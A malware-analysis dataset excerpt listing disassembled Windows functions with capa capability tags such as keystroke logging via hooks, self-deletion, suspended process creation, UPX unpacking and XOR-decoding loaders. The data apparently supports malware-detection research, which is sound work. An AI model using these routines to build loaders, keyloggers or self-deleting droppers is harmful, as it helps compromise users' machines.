joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42d7c4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
call sub.kernel32.dll_FindResourceW
mov edi, eax
mov dword [ebx + 0x14], edi
push edi
push esi
call sub.kernel32.dll_LoadResource
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x14]
push eax
push esi
call sub.kernel32.dll_SizeofResource
push eax
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_LockResource
mov edx, eax
mov eax, ebx
pop ecx
call fcn.0042d818
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x42da6c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42db01
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x42db1c
push ebx
push 0x42db2c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00406268
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00404548
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040601c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x42daeb
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42db08
lea eax, [ebp - 4]
call fcn.00405ad4
ret
Function at 0x42db34
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcb8
xor eax, eax
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42dd1b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x338]
call fcn.0042d87c
mov edx, dword [ebp - 0x338]
lea eax, [ebp - 4]
mov ecx, 0x42dd34
call fcn.004061e0
xor ecx, ecx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x2e0]
call fcn.004043f0
call fcn.00403d50
lea eax, [ebp - 0x2e0]
call fcn.004040b0
call fcn.00403d50
mov edx, 0x42dd5c
lea eax, [ebp - 0x2e0]
call fcn.00404aa4
call fcn.00404ba4
call fcn.00403d50
push 0x42dd74
lea edx, [ebp - 0x340]
xor eax, eax
call fcn.00403fbc
push dword [ebp - 0x340]
push 0x42dd8c
lea eax, [ebp - 0x33c]
mov edx, 3
call fcn.00406268
mov edx, dword [ebp - 0x33c]
lea eax, [ebp - 0x2e0]
call fcn.00404aa4
call fcn.00404ba4
call fcn.00403d50
push 0x42dd9c
lea edx, [ebp - 0x348]
xor eax, eax
call fcn.00403fbc
push dword [ebp - 0x348]
push 0x42dd8c
push 0x42ddc0
lea eax, [ebp - 0x344]
mov edx, 4
call fcn.00406268
mov edx, dword [ebp - 0x344]
lea eax, [ebp - 0x2e0]
call fcn.00404aa4
call fcn.00404ba4
call fcn.00403d50
mov edx, 0x42dde0
lea eax, [ebp - 0x2e0]
call fcn.00404aa4
call fcn.00404ba4
call fcn.00403d50
lea eax, [ebp - 0x2e0]
call fcn.004044f0
call fcn.00403d50
lea eax, [ebp - 0x334]
xor ecx, ecx
mov edx, 0x44
call fcn.00404548
mov dword [ebp - 0x308], 1
mov word [ebp - 0x304], 0
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x334]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040601c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x42dcf5
mov eax, dword [ebp - 0x2ec]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x2f0]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42dd22
lea eax, [ebp - 0x348]
mov edx, 5
call fcn.00405b34
lea eax, [ebp - 4]
call fcn.00405ad4
ret
Function at 0x553a10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xdb000]
push edi
or ebp, 0xffffffff
jmp 0x553a32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x553a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x553a28
mov eax, 1
add ebx, ebx
jne 0x553a4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x553a5c
jne 0x553a7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x553a7b
dec eax
add ebx, ebx
jne 0x553a68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x553a40
add ebx, ebx
jne 0x553a77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x553acd
xor ecx, ecx
sub eax, 3
jb 0x553a93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x553b02
sar eax, 1
mov ebp, eax
jmp 0x553a9e
add ebx, ebx
jne 0x553a9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x553a6c
inc ecx
add ebx, ebx
jne 0x553aac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x553a6c
add ebx, ebx
jne 0x553ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x553aae
jne 0x553aca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x553aae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x553aec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x553ade
jmp 0x553a2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x553aec
add edi, ecx
jmp 0x553a2e
pop esi
mov edi, esi
mov ecx, 0x6af2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x553b0a
cmp byte [edi], 0x16
jne 0x553b0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x553b0f
lea edi, [esi + 0x150000]
mov eax, dword [edi]
or eax, eax
je 0x553b87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1548b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1549b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x553b3c
mov ecx, edi
jns 0x553b6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1549bc]
or eax, eax
je 0x553b81
mov dword [ebx], eax
add ebx, 4
jmp 0x553b59
call dword [esi + 0x1549cc]
mov ebp, dword [esi + 0x1549c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x553bbb
sub esp, 0xffffff80
jmp 0x40d0d2
Function at 0x4179b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4179c3
pop dword [ebp - 8]
mov eax, 0x5757cef0
add eax, 0xa8e9aad3
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3f3ad
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x4de3
mov edi, eax
mov ebx, 0x71c7d9be
add ebx, 0x8e7b7a42
add ebx, dword [ebp - 8]
mov edx, 0x60b1c609
sub edx, 0x31264e53
mov dword [ebp - 4], 0xabce54c8
mov esi, dword [ebx]
xor dword [ebp - 4], esi
xor esi, edx
xor dword [ebp - 4], 0x8433709f
mov dword [edi], esi
add dword [ebp - 4], 0xc68b8bac
add edi, 4
add ebx, 0xba289a13
add ebx, 0x45d765f1
loop 0x417a17
add eax, 0x454731a4
add eax, 0xbab9f8bb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfbedd162
sub ecx, 0xfbadd162
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x12bddfc
Capabilities:
Encode data using xor

Disassembly:
test al, al
pushal
pushal
lea esp, [esp + 0x44]
je 0x131784b
cmc
pushal
jmp 0x1318ab9
bt ecx, 0x16
btc cx, ax
push 0xbc53bd48
mov edi, edx
lea esp, [esp + 4]

Function at 0x12c2e24
Capabilities:
Encode data using xor

Disassembly:
xchg byte [esi - 0x107cbada], ch
add al, 0xf9
sbb ah, ah
neg al
push ebp
daa
bsr bp, ax
mov ebp, esp
or ah, ah
bts ax, 5
btc ax, cx
sub esp, 0x18
aas
bts ax, cx
btc ax, ax
shld ax, si, 0xf
push esi
sar ax, 0xa
jg 0x1316897
sar al, 6
sal eax, cl
push edi
shr ax, cl
bsf ax, bx
rol ah, cl
push ebx
call fcn.01317c6d
jne 0x12c2e11
in al, dx
cdq
rcr dl, 1
sub esp, ebp
add byte [edi + 0x29b17c8c], dh
or al, 0x5e
pop ecx
arpl word [esi - 0x80], si
imul edi, dword [ebp - 0x4562d38], 0xfffffff6
dec eax
cmp ecx, dword [ebp + 0x17c5beb4]
insb byte es:[edi], dx
sbb dword [esi + ecx*2 - 0x7b], eax
push esi
xchg ebp, eax
rcr edi, cl
cli
mov ebp, 0x9f58e8d9
fdiv dword [edi]
xor eax, 0xb66b1fa0
mov edx, 0x79e63253
cmp cl, byte [ebp - 0x7b]
std
dec eax
cmpsb byte [esi], byte es:[edi]
inc ebp
sub eax, 0x74fc4594
invalid
btc ax, 0xa
aad 0x7a

Function at 0x13100dd
Capabilities:
Encode data using xor

Disassembly:
pushal
mov dword [esp + 0x10], 0x643abd71
lea esp, [esp + 0x44]
jne 0x12add1b
mov ax, 0x2c9f
mov byte [edi - 1], 0
jmp 0x12cb3e6
push ebx
jmp 0x1313b84
repne scasb al, byte es:[edi]
jmp 0x12c0777
pop ebp
imul edi, dword cs:[edx], 0xe3d2655
push ecx
and ch, byte [ecx + 0x3a]
pop ecx
sub cl, byte [ebp + 0x1e]
pop ebp
push ecx
adc al, 0x51
mov cl, 5
push ebp
adc eax, 0x58db461
lodsb al, byte [esi]
xchg esp, eax
xor al, byte [ecx]
lea eax, [0x13294ac]
pushal
push dword [esp]
pushal
mov dword [esp + 0x40], 0x12ace5c
mov dword [esp + 8], eax
mov byte [esp + 4], ch
call fcn.01315120
aam 2
sbb eax, 0xbf843227
sbb byte [esi - 0x34136c8b], 0xbd
push 0x25
mov edi, 0x19c7e0d6
fdiv dword [edx + 0x6d]
ja 0x1313b69
mov ah, 0xb3
add eax, 0xb3706418
insb byte es:[edi], dx
insd dword es:[edi], dx
retf
Function at 0x100042d1
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp dword [0x100908cc], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
jne 0x10004315
call ebx
test eax, eax
jns 0x1000430b
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x100908c8], eax
mov dword [0x100908cc], 1
mov eax, dword [0x100908c8]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
je 0x10004331
push dword [ebp + 0x10]
push eax
call esi
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004361
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi]
test eax, eax
jne 0x10004357
call ebx
test eax, eax
mov eax, dword [ebp + 8]
jns 0x1000434b
push dword [eax + 8]
call dword [eax]
jmp 0x10004351
push dword [eax + 0xc]
call dword [eax + 4]
test eax, eax
je 0x10004360
mov dword [edi], eax
push dword [ebp + 0x10]
push eax
call esi
mov dword [ebp - 4], eax
pop edi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 0xc

Function at 0x1000583d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x1008f414]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
push ebx
mov ebx, ecx
je 0x100058d5
mov ecx, dword [ebx + 0x2c]
call fcn.10004737
test eax, eax
je 0x1000586e
push 1
mov ecx, eax
call fcn.1003ae60
test byte [ebp + 0xc], 2
je 0x100058cd
push esi
push edi
mov edi, 0x10090ab8
push edi
push str.__supdate_install.exe_
mov esi, 0x104
lea eax, [ebp - 0x10c]
push esi
push eax
call fcn.100011f2
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.10049ec0
push edi
push 0x10070138
lea eax, [ebp - 0x10c]
push esi
push eax
call fcn.100011f2
add esp, 0x2c
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov ecx, dword [ebx + 0x2c]
call fcn.10005626
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10050837
leave
ret 0x10

Function at 0x100063d4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
and dword [esi], 0
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000642e
cmp dword [ebp + 0x10], 1
je 0x10006413
cmp dword [ebp + 0x10], 2
je 0x10006413
push 0xd
pop eax
jmp 0x1000642e
test edi, edi
mov eax, dword [ebp - 4]
je 0x1000642a
test eax, eax
je 0x10006427
cmp byte [eax + edi - 1], 0
je 0x1000642a
jmp 0x1000640e
mov byte [edi], 0
mov dword [esi], eax
xor eax, eax
pop edi
pop esi
leave
ret 0xc
Function at 0x100070ba
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push esi
push edi
mov esi, ecx
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1012
push dword [esi + 4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
je 0x10007115
cmp dword [ebp - 0xc], 8
jne 0x10007115
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jl 0x10007115
push dword [ebp - 8]
mov ecx, esi
call fcn.1000703a
mov eax, dword [ebp + 0x14]
and dword [eax], 0
xor eax, eax
pop edi
inc eax
pop esi
leave
ret 0x10
Function at 0x10007420
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x504
lea ebp, [esp - 4]
mov eax, dword [0x1008f414]
xor eax, ebp
mov dword [ebp + 0x504], eax
push 0x40
mov eax, 0x100694e3
call fcn.10050c7c
mov ebx, dword [ebp + 0x510]
xor edi, edi
mov esi, 0x100a41f4
push esi
mov ecx, ebx
mov dword [ebp - 4], edi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x24], edi
call fcn.10011a98
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], 1
call fcn.10011a98
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 1
call fcn.10011a98
mov dword [ebp - 0x10], edi
push 0x100a0a38
mov ecx, ebx
mov byte [ebp - 4], 3
call fcn.10006af1
push 0x20019
push 0x10097fb0
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x10]
call fcn.1000639f
cmp eax, edi
jne 0x100075ba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp + 0x400]
push eax
push dword [0x1008ed94]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x18], 0x104
call fcn.100063d4
cmp eax, edi
jne 0x100075ba
push esi
lea ecx, [ebp - 0x1c]
call fcn.10011a98
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
push edi
push dword [0x1008ed90]
mov byte [ebp - 4], 4
push dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xb
mov dword [ebp - 0x18], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, edi
jne 0x10007582
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x38]
call fcn.100064c0
push 0x200
lea eax, [ebp]
push eax
push edi
lea eax, [ebp - 0x4c]
push eax
push edi
mov esi, 0x800
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x200
lea eax, [ebp + 0x200]
push eax
push edi
lea eax, [ebp - 0x4c]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp + 0x200]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x1c]
push str._s__s
push eax
call fcn.100030d6
add esp, 0x10
mov esi, dword [ebp - 0x1c]
push esi
lea eax, [ebp + 0x400]
push eax
push 0x10096628
lea eax, [ebp - 0x14]
push 0x100a0630
push eax
call fcn.100030d6
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
mov ecx, ebx
call fcn.10006f9c
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 3
call fcn.10001b68
push 0x100a0420
push 0x1009e0a8
push 0x100a0528
push 0x1009d490
push str._br__br__a_href__s___s__a__br__a_href__s___s__a_
push ebx
call fcn.10006b16
add esp, 0x18
lea ecx, [ebp - 0x10]
call fcn.10006388
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.10001b68
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.10001b68
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x504]
xor ecx, ebp
call fcn.10050837
add ebp, 0x508
leave
ret
Function at 0x10008135
Capabilities:
Accept command line arguments

Disassembly:
push ebx
xor ebx, ebx
cmp byte [0x1008ac94], bl
je 0x1000815f
push ebx
push str.Embedding
mov byte [0x1008ac94], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.10033fb2
add esp, 0xc
test eax, eax
jne 0x100081be
call fcn.10007c6e
test al, al
je 0x100081be
push esi
mov esi, dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x154]
cmp eax, dword [0x100a1818]
jbe 0x100081b0
cmp byte [esi + 0x158], bl
je 0x100081b0
mov eax, dword [esi + 0x60]
push dword [eax + 0x60]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x100081b0
cmp byte [esi + 0x159], bl
je 0x100081b0
mov eax, dword [esp + 0x14]
or word [eax], 0xffff
mov ecx, esi
call fcn.10007fb2
mov byte [esi + 0x158], 1
mov dword [esi + 0x154], ebx
pop esi
pop ebx
ret 0xc

Function at 0x100081fd
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push ebp
push esi
mov esi, ecx
cmp dword [esi + 0x148], 0
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowsHookExA]
jne 0x1000822e
call ebx
push eax
push 0
lea eax, [esi + 0x120]
push eax
push 7
call edi
mov dword [esi + 0x148], eax
lea ebp, [esi + 0x14c]
cmp dword [ebp], 0
jne 0x1000824d
call ebx
push eax
push 0
lea eax, [esi + 0x12a]
push eax
push 2
call edi
mov dword [ebp], eax
lea ebp, [esi + 0x150]
cmp dword [ebp], 0
jne 0x1000826c
call ebx
push eax
push 0
add esi, 0x134
push esi
push 4
call edi
mov dword [ebp], eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10009a42
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push 0x539
push 5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x10009a64
pop edi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10009a7a
pop edi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, dword [esi]
mov dword [esi], eax
jbe 0x10009a99
push 0x7a
pop eax
jmp 0x10009aae
cmp dword [ebp + 0xc], 0
je 0x10009aac
push eax
push ebx
push dword [ebp + 0xc]
call fcn.10052150
add esp, 0xc
xor eax, eax
pop ebx
pop edi
pop ebp
ret

Function at 0x10009ba3
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10009bf6
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov ebx, ecx
jne 0x10009c0c
push 0x80004005
call fcn.1000198f
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x10009c0f
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8
Function at 0x1000a663
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x1008f414]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
call fcn.1000639f
mov edi, eax
cmp edi, esi
je 0x1000a6cb
lea ecx, [ebp - 0x70]
call fcn.10006388
mov eax, edi
mov ecx, dword [ebp + 0x94]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10050837
add ebp, 0x98
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000a6e3
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.1000a663
cmp eax, esi
jne 0x1000a716
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call edi
test eax, eax
je 0x1000a6d3
lea ecx, [ebp - 0x70]
call fcn.10006388
push dword [ebp - 0x78]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.10006388
mov eax, esi
jmp 0x1000a6b1
Function at 0x1000d3e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
sub esp, 0x404
lea ebp, [esp - 4]
mov eax, dword [0x1008f414]
xor eax, ebp
mov dword [ebp + 0x404], eax
push 0x20
mov eax, 0x100699be
call fcn.10050caf
mov edi, ecx
mov eax, dword [ebp + 0x414]
mov esi, dword [ebp + 0x410]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x418]
mov dword [ebp - 0x14], eax
call dword [0x1008f3d4]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp], ebx
cmp esi, ebx
mov byte [ebp - 4], 1
je 0x1000d4a0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.1000192b
add esp, 0xc
test eax, eax
jl 0x1000d4a0
mov edi, dword [ebp - 0x24]
cmp edi, 0x400
jg 0x1000d488
push edi
call fcn.10001fe0
test al, al
pop ecx
je 0x1000d488
mov eax, edi
call fcn.10051b00
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1000d491
push edi
lea ecx, [ebp - 0x20]
call fcn.100023e9
push dword [ebp - 0x1c]
push edi
push esi
push eax
call fcn.100098d9
cmp eax, ebx
jne 0x1000d4e5
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000d4b0
lea ecx, [ebp]
call fcn.1000a53c
lea ecx, [ebp - 0x20]
call fcn.10001e25
mov eax, 0x8007000e
lea esp, [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.10050837
add ebp, 0x408
leave
ret 0x10
push 2
push ebx
push eax
call fcn.1000b094
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x1c], edi
jne 0x1000d503
call fcn.10009a14
mov esi, eax
jmp 0x1000d5cd
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x1000d520
call fcn.10009a14
jmp 0x1000d5c2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x1000d516
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
mov dword [ebp - 0x18], esi
jae 0x1000d567
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000d553
lea ecx, [ebp]
call fcn.1000a53c
mov esi, 0x8007000e
lea ecx, [ebp - 0x20]
call fcn.10001e25
mov eax, esi
jmp 0x1000d4bd
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.1000c064
mov dword [ebp - 4], 1
jmp 0x1000d58f
cmp dword [ebp], ebx
jne 0x1000d59b
mov esi, 0x8007000e
jmp 0x1000d5c4
push esi
push dword [ebp - 0x14]
push esi
push dword [ebp]
call fcn.1000993d
mov eax, dword [ebp]
add esp, 0x10
push dword [ebp + 0x41c]
mov byte [eax + esi], bl
push dword [ebp]
lea ecx, [ebp - 0x2c]
call fcn.1000cfc6
mov esi, eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000d558
lea ecx, [ebp]
call fcn.1000a53c
jmp 0x1000d558